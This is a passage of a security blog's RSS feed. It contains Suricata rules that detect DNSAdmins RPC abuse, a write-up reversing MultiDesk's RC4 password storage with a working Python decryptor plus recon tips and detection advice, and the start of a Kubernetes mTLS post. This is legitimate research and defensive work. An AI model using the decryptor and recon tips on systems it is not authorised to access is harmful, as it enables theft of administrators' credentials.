src="https://cdn-images-1.medium.com/max/1024/1*svE7N_s1vyybw-V26-Tc5Q.png" /><figcaption>Plugin DLL is loaded</figcaption></figure><p>Failed log write coercion attempts may also result in event ID 3152 which could indicate that an attacker was at least messing around with DnsAdmins privileges:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sFc-uB8fuF4yk2i43kBzDQ.png" /><figcaption>Write errors</figcaption></figure><p>Lastly, you can use network based detection to look for active exploitation. I’ve added pcaps of the relevant traffic in the pcaps folder on GitHub including the following Suricata rules which you can use to detect active exploitation on the network level.</p><pre># Set a flowbit on the bind of the DNSSERVER UUID request, use this for every subsequent request that is being made<br>alert tcp any any -&gt; any any (<br>  msg:&quot;MRLN-SRT - DCERPC DNSSERVER Bind Request Flowbit&quot;;<br>  flow:established,to_server;<br>  content:&quot;|05 00 0b|&quot;; offset:0; depth:3;<br>  content:&quot;|a4 c2 ab 50 4d 57 b3 40 9d 66 ee 4f d5 fb a0 76|&quot;; offset:32; depth:16; fast_pattern;<br>  flowbits:set,dcerpc.dnsserver_bind;<br>  flowbits:noalert;<br>  threshold:type limit,track by_src,count 1,seconds 600;<br>  classtype:not-suspicious; reference:url, https://github.com/Paradoxis/DNSRPC-BOF; priority:3; sid:1000009; rev:1;<br>)<br><br>alert tcp any any -&gt; any any (<br>  msg:&quot;MRLN-SRT - Suspicious MS-DNSP (ADIDNS RPC) restart request observed&quot;;<br>  flow:established,to_server;<br>  flowbits:isset,dcerpc.dnsserver_bind;<br>  content:&quot;|05 00 00 03|&quot;; offset:0; depth:4;<br>  content:&quot;|05 00|&quot;; distance:18; within:2;<br>  content:&quot;Restart&quot;; distance:0; nocase; fast_pattern;<br>  threshold:type limit,track by_src,count 1,seconds 600;<br>  classtype:attempted-admin; reference:url, https://github.com/Paradoxis/DNSRPC-BOF; priority:1; sid:1000010; rev:1;<br>)<br><br>alert tcp any any -&gt; any any (<br>  msg:&quot;MRLN-SRT - Suspicious MS-DNSP (ADIDNS RPC) ServerLevelPluginDll configuration change request observed&quot;;<br>  flow:established,to_server;<br>  flowbits:isset,dcerpc.dnsserver_bind;<br>  content:&quot;|05 00 00 03|&quot;; offset:0; depth:4;<br>  content:&quot;|05 00|&quot;; distance:18; within:2;<br>  content:&quot;ServerLevelPluginDll&quot;; distance:0; nocase; fast_pattern;<br>  threshold:type limit,track by_src,count 1,seconds 600;<br>  classtype:attempted-admin; reference:url, https://github.com/Paradoxis/DNSRPC-BOF; priority:1; sid:1000011; rev:1;<br>)<br><br>alert tcp any any -&gt; any any (<br>  msg:&quot;MRLN-SRT - Suspicious MS-DNSP (ADIDNS RPC) ServerInfo enumeration request observed&quot;;<br>  flow:established,to_server;<br>  flowbits:isset,dcerpc.dnsserver_bind;<br>  content:&quot;|05 00 00 03|&quot;; offset:0; depth:4;<br>  content:&quot;|06 00|&quot;; distance:18; within:2;<br>  content:&quot;ServerInfo&quot;; distance:0; nocase; fast_pattern;<br>  threshold:type limit,track by_src,count 1,seconds 600;<br>  classtype:attempted-recon; reference:url, https://github.com/Paradoxis/DNSRPC-BOF; priority:2; sid:1000012; rev:1;<br>)<br><br>alert tcp any any -&gt; any any (<br>  msg:&quot;MRLN-SRT - Suspicious MS-DNSP (ADIDNS RPC) LogFilePath+ClearDebugLog coercion request observed 1/2&quot;;<br>  flow:established,to_server;<br>  flowbits:isset,dcerpc.dnsserver_bind;<br>  content:&quot;|05 00 00 03|&quot;; offset:0; depth:4;<br>  content:&quot;|05 00|&quot;; distance:18; within:2;<br>  content:&quot;LogFilePath&quot;; distance:0; nocase; fast_pattern; within:400;<br>  content:&quot;|5c 00 5c 00|&quot;; distance:0; within:50;<br>  flowbits:set,dnsrpc.logfilepath_call;<br>  flowbits:noalert;<br>  classtype:misc-attack; reference:url, https://github.com/Paradoxis/DNSRPC-BOF; priority:3; sid:1000013; rev:1;<br>)<br><br>alert tcp any any -&gt; any any (<br>  msg:&quot;MRLN-SRT - Suspicious MS-DNSP (ADIDNS RPC) LogFilePath+ClearDebugLog coercion request observed 2/2&quot;;<br>  flow:established,to_server;<br>  flowbits:isset,dnsrpc.logfilepath_call;<br>  content:&quot;|05 00 00 03|&quot;; offset:0; depth:4;<br>  content:&quot;|05 00|&quot;; distance:18; within:2;<br>  content:&quot;ClearDebugLog&quot;; distance:0; nocase; fast_pattern;<br>  threshold:type limit,track by_src,count 1,seconds 600;<br>  classtype:misc-attack; reference:url, https://github.com/Paradoxis/DNSRPC-BOF; priority:1; sid:1000014; rev:1;<br>)</pre><p>¹ <a href="https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83">https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83</a></p><p>² <a href="https://www.semperis.com/blog/dnsadmins-revisited/">https://www.semperis.com/blog/dnsadmins-revisited/</a></p><p>³ <a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dnsp/a90a44f0-f64e-44b0-9e35-a7fc49f6adea">https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dnsp/a90a44f0-f64e-44b0-9e35-a7fc49f6adea</a></p><p>⁴ <a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dnsp/9500a7e8-165d-4b13-be86-0ddc43100eef">https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dnsp/9500a7e8-165d-4b13-be86-0ddc43100eef</a></p><p>⁵ <a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dnsp/8c0522b1-97fb-4fa7-b4e2-2c55c0afb0e7">https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dnsp/8c0522b1-97fb-4fa7-b4e2-2c55c0afb0e7</a></p><p>⁶ <a href="https://github.com/trustedsec/coffloader">https://github.com/trustedsec/coffloader</a></p><p>⁷ <a href="https://learn.microsoft.com/en-us/windows/win32/rpc/rpctryexcept">https://learn.microsoft.com/en-us/windows/win32/rpc/rpctryexcept</a></p><p>⁸ <a href="https://learn.microsoft.com/en-us/windows/win32/api/errhandlingapi/nf-errhandlingapi-raiseexception">https://learn.microsoft.com/en-us/windows/win32/api/errhandlingapi/nf-errhandlingapi-raiseexception</a></p><p>⁹ <a href="https://learn.microsoft.com/en-us/cpp/c-runtime-library/reference/setjmp?view=msvc-170">https://learn.microsoft.com/en-us/cpp/c-runtime-library/reference/setjmp?view=msvc-170</a></p><p>¹⁰ <a href="https://learn.microsoft.com/en-us/cpp/c-runtime-library/reference/longjmp?view=msvc-170">https://learn.microsoft.com/en-us/cpp/c-runtime-library/reference/longjmp?view=msvc-170</a></p><p>¹¹ <a href="https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-teb">https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-teb</a></p><p>¹² <a href="https://devblogs.microsoft.com/oldnewthing/20190418-00/?p=102428">https://devblogs.microsoft.com/oldnewthing/20190418-00/?p=102428</a></p><p>¹³ <a href="https://geelaw.blog/entries/ps-start-process-usenewenvironment/">https://geelaw.blog/entries/ps-start-process-usenewenvironment/</a></p><p>¹⁴ <a href="https://learn.microsoft.com/en-us/windows/win32/api/winnt/nf-winnt-rtlcapturecontext">https://learn.microsoft.com/en-us/windows/win32/api/winnt/nf-winnt-rtlcapturecontext</a></p><p>¹⁵ <a href="https://learn.microsoft.com/en-us/windows/win32/api/winnt/nf-winnt-rtlrestorecontext">https://learn.microsoft.com/en-us/windows/win32/api/winnt/nf-winnt-rtlrestorecontext</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0c59c15d0a15" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Decrypting MultiDesk Passwords]]></title>
            <link>https://medium.com/@paradoxis/decrypting-multidesk-passwords-58af8ad274b3?source=rss-15699195a282------2</link>
            <guid isPermaLink="false">https://medium.com/p/58af8ad274b3</guid>
            <category><![CDATA[cryptography]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[information-security]]></category>
            <dc:creator><![CDATA[Luke Paris]]></dc:creator>
            <pubDate>Tue, 17 Feb 2026 13:20:12 GMT</pubDate>
            <atom:updated>2026-02-17T13:29:18.105Z</atom:updated>
            <content:encoded><![CDATA[<p>TL;DR: This blog goes into figuring out how MultiDesk encrypts passwords and how to decrypt them. You can find the tool <a href="https://github.com/Paradoxis/MultiDesk-Decrypt">here</a>, or just load the keys into your own machine and open the application <em>(but reversing the tool was way more fun)</em>. Be sure to add MultiDesk.xml, MultiDesk.multidesk and the HKEY_CURRENT_USER\Software\MultiDesk\key to your list of things to search for during your internal network recon. Extra thanks to <a href="https://cantpwn.com/">Zohar Cochaviz</a> for taking the time to review my rambles :)</p><p><em>Quick Note: Before you read this post, know that this isn’t a vulnerability in MultiDesk per-se, nor is it an attack against its authors. If you can gain access to an encrypted file and the associated decryption keys, it’s game over, regardless of what tool you’re using. I just wanted to learn about the internals for fun.</em></p><p>About a year ago during an engagement I was doing my usual easy-win reconnaissance by digging through network shares in a large corporate network. While I’m usually used to finding a bunch of PowerShell scripts, maybe even the occasional mRemoteNG config file¹ if I’m lucky, this time I stumbled upon a file called MultiDesk.xml .</p><p>Intrigued, I peeked inside and found exactly what I was looking for! A configuration file containing usernames and passwords belonging to a sysadmin, just sitting there up for grabs!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/597/1*qKaYu2qzmAo_IBG0nbj6TQ.png" /></figure><p>I immediately rushed to download the file and tried decoding the password, assuming it was just encoded with Base 64 <em>(which we all know is the safest way to store passwords and not recoverable at all)</em>; but, alas, it turned out the passwords were encrypted somehow. My second guess was to look around the web for any other fellow security nerds that encountered this software, but to my surprise: <em>nothing</em>!</p><p>After trying a bunch of other stuff and messing about a little bit, my colleague snagged the admin’s password from another config file they stored elsewhere in the same network share, so I just took note of the file path and continued on to our quest to total domain compromise<em> (for those wanting to know how that story ends: we got domain admin shortly after 🎉).</em></p><h3>The Spidey Sense is Tingling</h3><p>When we delivered the report to the client, they provided us with some pushback, simply stating that while yes, it was sloppy that the configuration file was there, it didn’t constitute a high risk finding as the passwords were encrypted<em> (and to be fair, they were right)</em>.</p><p>By the time we got around to delivering the report, no time remained to investigate this further and we had to head home. So, like normal people, we moved on with our lives. ...Is what I would say if I didn’t have this voice in the back of my head just yelling at me it <em>had </em>to be possible to retrieve the passwords.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/1*c2eW0YT2XozXE5b_7EaEtg.gif" /></figure><p>Sadly, I found this during a particularly busy period, so while I really wanted to just dive in and spend more time with this, I had to shelve it as we had to keep working hard to provide our investment overlords with that sweet sweet shareholder value.</p><h3>Back to Business</h3><p>Around half a year later or so, randomly at around 2:00 AM, I was staring blankly at my screen, further destroying my already annihilated sleep schedule, when I suddenly remembered about my long lost idea to just peek at the internals of MultiDesk and see how the encryption algorithm works. So, in a moment of “sure, three hours of sleep should be enough”, I fired up my favorite reverse engineering tooling of choice and got to work!</p><h3>So What Even is a MultiDesk?</h3><p>MultiDesk² is an RDP client, much like mRemoteNG that has been in development since around 2010. It’s pretty lightweight and makes managing your RDP sessions pretty convenient.</p><p>While I initially thought MultiDesk’s development was long dead, the most recent update was on the 10th of January 2025, meaning it’s still in active maintenance.</p><p>MultiDesk consists of two separate components:</p><ul><li>MultiDesk — The main RDP client</li><li>MultiDesk Enforcer — A sort of multi-factor authentication component for MultiDesk, which enforces the use of a shared secret in order for you to authenticate.</li></ul><p>I decided to set my focus on the main RDP client, which has two supported versions that it makes available for download on their website:</p><ul><li>3.16 — Which was released way back in 2015 and is free to use. This version stores the encrypted credentials in an XML file called MultiDesk.xml .</li><li>14.0 — The most recent version, which is either limited to two connections for free users, or unlimited for users that donate <em>(which I wouldn’t call “donating”, it’s just purchasing software, but that’s besides the point)</em>. This version also appears to have changed their password encryption algorithm in version 5.0, and introduced a master password password in version 5.4. It also stores encrypted passwords in a MultiDesk.multidesk file, instead of the XML file.</li></ul><p>As I happened to find the free version of MultiDesk (version 3.16) in the wild, I decided to set my sights on that version first, as it was bugging me, and I just had to figure out how it worked. I also skipped analyzing the Enforcer component given that I hadn’t encountered it, and because no free version is available <em>(despite the fact that it looks like a fun research project)</em>.</p><h3>Analyzing Version 3.16</h3><p>I downloaded a fresh copy of MultiDesk 3.16, opened it up, and created some entries in the GUI. After closing it, the tool produced an XML file as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1008/1*1n9mmjW_mYT8Y7mYcBCrig.png" /></figure><p>One of the first things that stood out is that the password is really short <em>(suspiciously, about as short as my password)</em>, which likely indicates some form of stream cipher, as they don’t cause the size of the final ciphertext to grow, so my first guess was either XOR or RC4 encryption.</p><p>Naturally, my first instinct was to open up my favorite reverse engineering tool of choice, look for references to Password and go from there. So, doing so I stumbled on the following piece of code:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/562/1*Q3RQNmF6tHDVbmSlE1rC2Q.png" /><figcaption>Code responsible for saving the XML file</figcaption></figure><p>Looking at the password, it looks like the raw password field in the server struct is passed to a function before the L&quot;Password&quot; field is set, which likely is the place in the code where the password is encoded/encrypted. So, let’s delve a little deeper!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*rr62nxfBcaFP0URoSYDnvw.png" /><figcaption>Smells like RC4</figcaption></figure><p>The next part of the puzzle was to actually figure out where the actual key came from. Was it static? Was it generated on the fly? Who knows? I decided to launch SysInternals’Procmon64.exe and wanted to look if I could spot anything interesting, which then showed the following entry:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*75DA0NR1JbaFq_xsBOhTjg.png" /><figcaption>Hey look at that, a key!</figcaption></figure><p>As it turns out, I fell for the oldest trick in the book yet again<em> (not reading the damn manual)</em>, as the documentation quite literally states:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L2chKubamebDfTnoynBbOw.png" /><figcaption>I’m an idiot</figcaption></figure><p>This likely means that the key is generated on the fly per-machine <em>(well actually, per-user per machine, as it’s stored in the </em><em>HKEY_LOCAL_USER hive and not </em><em>HKEY_LOCAL_MACHINE hive)</em>.</p><p>This comically also means that MultiDesk had a better security model the widely popular mRemoteNG does <em>(which just used the static </em><em>mR3m key to encrypt all </em><em>confCons.xml files³)</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/165/1*PjWdbITHp9t8fa7PiliQEg.gif" /><figcaption>Storing the RC4 encryption keys in the registry hive may not be the best design choice either though</figcaption></figure><p>Looking at the disassembled code, my hunch that it was RC4 was starting to be validated. Although I still have the reverse engineering skills of a soggy potato, so I had no clue if this was RC4 or not, so I just decided to wing it and try to decrypt the password.</p><p>So, I just wrote <em>(let an LLM generate) </em>a simple RC4 decryption function, passed the key we just found, and..</p><pre>import base64<br><br>def rc4(ciphertext: bytes, key: bytes) -&gt; str:<br>    s = list(range(256))<br>    j = 0<br>    for i in range(256):<br>        j = (j + s[i] + key[i % len(key)]) % 256<br>        s[i], s[j] = s[j], s[i]<br><br>    i = 0<br>    j = 0<br>    res = bytearray()<br>    for char in ciphertext:<br>        i = (i + 1) % 256<br>        j = (j + s[i]) % 256<br>        s[i], s[j] = s[j], s[i]<br>        k = s[(s[i] + s[j]) % 256]<br>        res.append(char ^ k)<br><br>    return res.decode(&#39;utf-8&#39;)<br><br>print(<br>    rc4(<br>        ciphertext=base64.decodebytes(b&quot;hOwcVeWa/3A=&quot;), <br>        key=bytes.fromhex(&quot;08 D7 71 FB CC E5 29 24 A3 A4 44 46 73 F1 42 5F&quot;),<br>    )<br>)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*HCsH7AzlU9wVALJzhA3kzA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/1*lBX_uUJPi5zb9ObbjqUIdw.gif" /><figcaption>Well, that was easy</figcaption></figure><p>At this point, I now knew how to decrypt the config granted that we have access to the machine it’s used on. But I wanted to know <em>how </em>the key was generated. Maybe there was a chance we could decrypt it without any prior access. So, back to reversing I went. I looked for all cross-references to the Software\MultiDesk hive key, and instances of the string key and stumbled upon the following code block:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/1*c-CN-ow6-2GpOA2bCd3G5A.png" /><figcaption>Code responsible for generating the RC4 key</figcaption></figure><p>As it turns out, MultiDesk uses the rdtsc instruction to initialize the random key. For those who aren’t in the know of what this instruction does:</p><blockquote>The Time Stamp Counter (TSC) is a 64-bit register present on all x86 processors since the Pentium. It counts the number of CPU cycles since its reset.⁴</blockquote><p>Basically meaning, every time rdtsc is called, the value is incremented based on how much load the CPU received (and dependent on how efficient the CPU itself is). While using rdtsc isn’t as cryptographically secure as, say, using CryptGenRandom or BCryptGenRandom , brute-forcing is still going to be tough given that it’s a solid 0x10 (16) byte key.</p><p>I looked at this one for a while, but couldn’t figure out a good way to break it. What mainly got me nerd-sniped here is the the fact that the rdtsc instruction is called in a tight loop.</p><p>After performing some basic analysis on the key, it seems like there were only around 0–2000 instructions in between every rdtsc call, which didn’t seem like much at first but quickly dawned on me how many possible combinations I’d be left with when combined with the multiplication, bit shift and the RC4, meaning brute-forcing the key wouldn’t be fun without any form of known-plaintext.</p><blockquote>If people much smarter than me feel like taking a jab at this, feel free to pick up where I left off. If you can find a way to reasonably brute force the key with success I’lll be sure to link to your solution if you <a href="https://www.paradoxis.nl/">reach out</a> :)</blockquote><p>At this point I just took the fact I could easily read the registry key with local admin privileges as a win, created a nice tool to dump them locally from a system, and moved on to the version 14.0 of MultiDesk.</p><h3>Analyzing Version 14.0</h3><p>While I had now written a nice tool to decrypt passwords for the legacy version, I thought it would also be interesting to figure out what changes were made since 2010 regarding password security. So, after learning from my mistakes the first time round, I cleaned the registry keys from last time, fired up Procmon64.exe and launched version 14.0 of the tool.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ny5UAoTbpoFgOZjRHeTQCw.png" /><figcaption>Registry operations for version 14.0</figcaption></figure><p>Just like last time, we can see the presence of the encryption key being read/written from HKEY_CURRENT_USER\Software\MultiDesk\key , with a new read operation for the MasterPassword , which was added in version 5.4. After adding a new entry, a configuration file MultiDesk.multidesk is created, which looks like the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*suSUyMFlvie66k47mLG9GQ.png" /><figcaption>Wait, is that a hash?</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*Bj-3gTitlupeHjFN-QCcig.jpeg" /><figcaption>Me when opening the config file</figcaption></figure><p>At this point I got a little confused, mainly due to the fact that the password appears to me like a common crypt-like hash would look like (i.e.: MD5 crypt), however the program has to get the plaintext password from <em>somewhere</em>, so hashing the password wouldn’t make sense.</p><p>So my theory was: either this is a hash that’s used as a decryption password for another file stored elsewhere, or some old fashioned tomfoolery is going on. I went back to work and started disassembling the program.</p><h4>New Key Generation Algorithm</h4><p>Using the same strategy as before, I decided to look for references to the L&quot;key&quot; string, after which I stumbled on this code block:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*20cox-JpmxvKjBeQzEEAIg.png" /><figcaption>I’m stil not sure why a `rand` call is made after a CryptGenRandom, but I’ll leave that up to the dev to explain</figcaption></figure><p>I also investigated what the rand function would do, and, well, it does exactly what you’d expect a pseudo-random function to do:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/389/1*p3HmtiHDBjnDaCbPde_Igg.png" /><figcaption>Disassembled `rand` function</figcaption></figure><p>This time around, the key seems to be generated using CryptGenRandom instead of rdtsc . Even though a pseudo-random number generator is used, no way in hell I’m ever guessing that value. So brute-forcing the key is out of the question.</p><h4>New Encryption Algorithm</h4><p>Next up, I wanted to know how the new passwords are encrypted. Despite the fact that the password looks like a hash, it has to be decrypted at some point, as otherwise, how would we connect to the server?</p><p>Naturally, the first thing I did was look for instances of Password in the code, at which point I stumbled on the same looking code as before:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IbaJ15VKByGIftOdO4Niow.png" /><figcaption>Not much changed here, let’s dive into the encrypt_password function</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*AXX90Xbicsps2rxs.png" /></figure><p>As this was basically the same code as before, I know I was heading into the right direction, so I delved deeper into the encrypt_password function, which revealed that there had indeed been changes to the algorithm.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8ABUcE5ijbVHAlkqTmv4Dw.png" /><figcaption>Salt generation and key derivation</figcaption></figure><p>The first thing that stuck out was the presence of the $1$ string which we saw at the beginning of the Password field. Next, the code appears to generate a salt using the CryptGenRadom , after which a loop takes place that derives a key based on the key from the registry in combination with the salt. This key essentially boils down to:</p><pre>bytearray(k ^ s for k, s in zip(key, salt))</pre><p>Next, it looks like the password is just passed to another RC4 encryption loop, but instead of using the encryption key from the registry, it now it uses the derived key based on the registry value and a randomly generated salt instead:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lcdRjX-OxdHwsR2vHseEQA.png" /><figcaption>More glorious RC4 encryption</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*K6vZqtmuWyy0uD9WGAvrHw.jpeg" /><figcaption>Turns out not much changed after all</figcaption></figure><p>Using this newly obtained knowledge, I updated my script to include support for the version 5+ password variant:</p><pre>import sys<br>import base64<br>import argparse<br><br><br>def rc4(data: bytes, key: bytes) -&gt; bytearray:<br>    &quot;&quot;&quot;RC4 decryption&quot;&quot;&quot;<br>    s = list(range(256))<br>    j = 0<br>    for i in range(256):<br>        j = (j + s[i] + key[i % len(key)]) % 256<br>        s[i], s[j] = s[j], s[i]<br><br>    i = 0<br>    j = 0<br>    res = bytearray()<br>    for char in data:<br>        i = (i + 1) % 256<br>        j = (j + s[i]) % 256<br>        s[i], s[j] = s[j], s[i]<br>        res.append(char ^ s[(s[i] + s[j]) % 256])<br><br>    return res<br><br><br>def decrypt(password: str, key: bytes) -&gt; str:<br>    &quot;&quot;&quot;Decrypt a MultiDesk encrypted string with a key&quot;&quot;&quot;<br><br>    if password.startswith(&quot;$1$&quot;):<br>        print(&quot;[*] Key appears to be using MultiDesk 5+ (modern) format&quot;)<br>        parts = password.split(&quot;$&quot;)<br>        if len(parts) &lt; 4:<br>            raise RuntimeError(&quot;Malformed MultiDesk string (did the algorithm change?)&quot;)<br><br>        salt = bytes.fromhex(parts[2])<br>        ciphertext = bytes.fromhex(parts[3])<br><br>        derived_key = bytearray(k ^ s for k, s in zip(key, salt))<br>        decrypted = rc4(ciphertext, derived_key)<br>        return decrypted.decode(&quot;utf-16le&quot;).split(&quot;\0&quot;)[0]<br><br>    try:<br>        ciphertext = base64.b64decode(password)<br>        print(&quot;[*] Key appears to be using MultiDesk 3.16 (legacy) format&quot;)<br>    except (TypeError, ValueError):<br>        print(&quot;[-] Unknown ciphertext format.&quot;)<br>        exit(1)<br><br>    try:<br>        decrypted = rc4(ciphertext, key)<br>        return decrypted.decode(&quot;utf-8&quot;)<br>    except Exception as e:<br>        raise RuntimeError(f&quot;Failed to decrypt base64 input: {e}&quot;)<br><br><br>def main():<br>    parser = argparse.ArgumentParser(<br>        description=&quot;MultiDesk password decrypter&quot;<br>    )<br>    parser.add_argument(&quot;data&quot;, help=&quot;Encrypted string (Base64 or $1$ format)&quot;)<br>    parser.add_argument(<br>        &quot;-k&quot;,<br>        &quot;--key&quot;,<br>        help=&quot;Hex key obtained from `HKEY_CURRENT_USER\\Software\\MultiDesk\\key`&quot;,<br>    )<br>    args = parser.parse_args()<br><br>    try:<br>        key = bytes.fromhex(args.key)<br>    except ValueError:<br>        print(&quot;Error: Failed to decode key&quot;)<br>        exit(1)<br><br>    try:<br>        result = decrypt(args.data, key)<br>        print(&quot;[+] Decrypted password:&quot;)<br>        print(result)<br>    except RuntimeError as e:<br>        print(f&quot;Error: {e}&quot;, file=sys.stderr)<br>        exit(1)<br><br><br>if __name__ == &quot;__main__&quot;:<br>    main()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*YRfPTpBBhwGKVw40IxotAw.png" /><figcaption>It works!</figcaption></figure><p>Success! After I got this working, I decided to create a more polished version of the tool that could decrypt XML files, which I published here:</p><blockquote><a href="https://github.com/Paradoxis/MultiDesk-Decrypt">https://github.com/Paradoxis/MultiDesk-Decrypt</a></blockquote><blockquote><a href="https://pypi.org/project/multidesk-decrypt/">https://pypi.org/project/multidesk-decrypt/</a></blockquote><h3>So, What About Master Passwords?</h3><p>MultiDesk ships with a feature called a master password. While the documentation unfortunately isn’t quite clear on how the master password works, from playing around with it and looking at the code it seems to take said password and uses it to derive a new key, although diving into this exceeds the scope of this blog for now. (Stay tuned for part #2!)</p><h3>Detection</h3><p>Given that the attack only consists of stealing some keys from the registry, i’d recommend looking out for any instances of processes other than MultiDesk.exe or MultiDesk.x64.exe touching the registry key(s):</p><pre>HKEY_CURRENT_USER\Software\MultiDesk\key<br>HKEY_CURRENT_USER\Software\MultiDesk\MasterPassword<br>HKEY_USERS\&lt;sid&gt;\Software\MultiDesk\key<br>HKEY_USERS\&lt;sid&gt;\Software\MultiDesk\MasterPassword</pre><p>Unfortunately the binary isn’t signed, so checking based off of signatures isn’t as trivial either. You can however use the SHA hashes provided by the developer on their website.</p><h3>Conclusions</h3><p>So, would I have been able to decrypt the passwords? To be honest, I have no clue. While I found the credential file on a network share, I still don’t know wether or not I had access to the key. Given that the network share was primarily used on the main management server, I do assume so, but we’ll never know for sure.</p><p>I think using something like Microsoft’s CryptProtectData ⁵ would have been a more appropriate solution to encrypt information, although it wouldn’t make much difference. Reading the MultiDesk keys requires access to the affected user’s account, or local administrator access on the machine they work on, in which case DPAPI falls short as well. Still, it would have made gaining access to the keys harder, and resulted in a significantly shorter blog :)</p><p>¹ <a href="https://mremoteng.org/">https://mremoteng.org/</a></p><p>² <a href="https://www.syvik.com/multidesk/documentation.en.html">https://www.syvik.com/multidesk/documentation.en.html</a></p><p>³ <a href="https://www.errno.fr/mRemoteNG.html">https://www.errno.fr/mRemoteNG.html</a></p><p>⁴ <a href="https://en.wikipedia.org/wiki/Time_Stamp_Counter">https://en.wikipedia.org/wiki/Time_Stamp_Counter</a></p><p>⁵ <a href="https://learn.microsoft.com/en-us/windows/win32/api/dpapi/nf-dpapi-cryptprotectdata">https://learn.microsoft.com/en-us/windows/win32/api/dpapi/nf-dpapi-cryptprotectdata</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=58af8ad274b3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Applying Cluster Wide mTLS Certificactes in Kubernetes (Ingress Nginx)]]></title>
            <link>https://medium.com/@paradoxis/applying-cluster-wide-mtls-certificactes-in-kubernetes-ingress-nginx-0daee4104b19?source=rss-15699195a282------2</link>
            <guid isPermaLink="false">https://medium.com/p/0daee4104b19</guid>
            <category><![CDATA[tlm]]></category>
            <category><![CDATA[ssl]]></category>
            <category><![CDATA[kubernetes]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Luke Paris]]></dc:creator>
            <pubDate>Thu, 20 Nov 2025 18:35:04 GMT</pubDate>
            <atom:updated>2025-11-29T00:25:47.047Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/909/1*AAd18BlDelof4aU9YHd9FQ.png" /></figure><p><em>I’m deviating from my regular offensive-security related blog activities today to stray a little towards more sysadmin related stuff, if you’re not into system hardening, or Kubernetes at all, feel free to click off.</em></p><p><em>This also might not be the smartest thing to do if your cluster gets used by anonymous end-users, as, well, they don’t have certificates to begin with. This is a solution to a problem I created for myself because </em><strong><em>muh’ hardening</em></strong></p><p>A couple of weeks ago I looked over at the old hardware I had laying around for ages which I had the plan to build a home lab with, but never got around to. But for some reason I just woke up that day and said, screw it. Let’s build a Kubernetes cluster in my home for fun, why not?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*wIISTDWqWYAmEljP.png" /><figcaption>Credit /u/<a href="https://www.reddit.com/user/datamattsson/">datamattsson</a> on Reddit</figcaption></figure><p>Even before I began though, I had already planted the seed in my mind that, whatever happens, my load balancer should, must and <strong>will be protected</strong> with my own layer of mTLS authentication.</p><p>For those not in the know, mTLS (Mutual TLS) allows you to force clients to authenticate, not using a password, but using an SSL certificate with corresponding private key. Whenever you visit a web application, it will prompt you to pick a certificate for authentication. If you lack the required cryptographic materials, you get a kind message to go away and take your business elsewhere.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/385/1*aOmGMdNbJn3uoromCC8fsw.png" /><figcaption>Like this</figcaption></figure><p>This basically means that even if you have a 0day in my vulnerable webapp, you still need to authenticate at the transport level before you can even reach it (a.k.a.: good luck getting in without compromising my workstation first, at which point, you might as well steal the cluster admin credentials, right?).</p><h3>Okay, so what? Just configure it then?</h3><p>Well, I’m not a Kubernetes rockstar, and I just couldn’t find anyone with my specific use case and even Mr GPT (and no, I refuse to pay for AI slop) sucked at this and got confused by my question to apply mTLS authentication <strong>cluster wide</strong>.</p><p>Moreover, the only issue here is that all blogs or tutorials online I could find were instances where they show you how to configure mTLS at the namespace/deployment level (like <a href="https://medium.com/@badawekoo/apply-mutual-tls-over-kubernetes-nginx-ingress-controller-4ea203bce3e0">this</a>, no hate though, I still learned a lot ❤). And in my eyes, this has two downsides:</p><figure><img alt="" 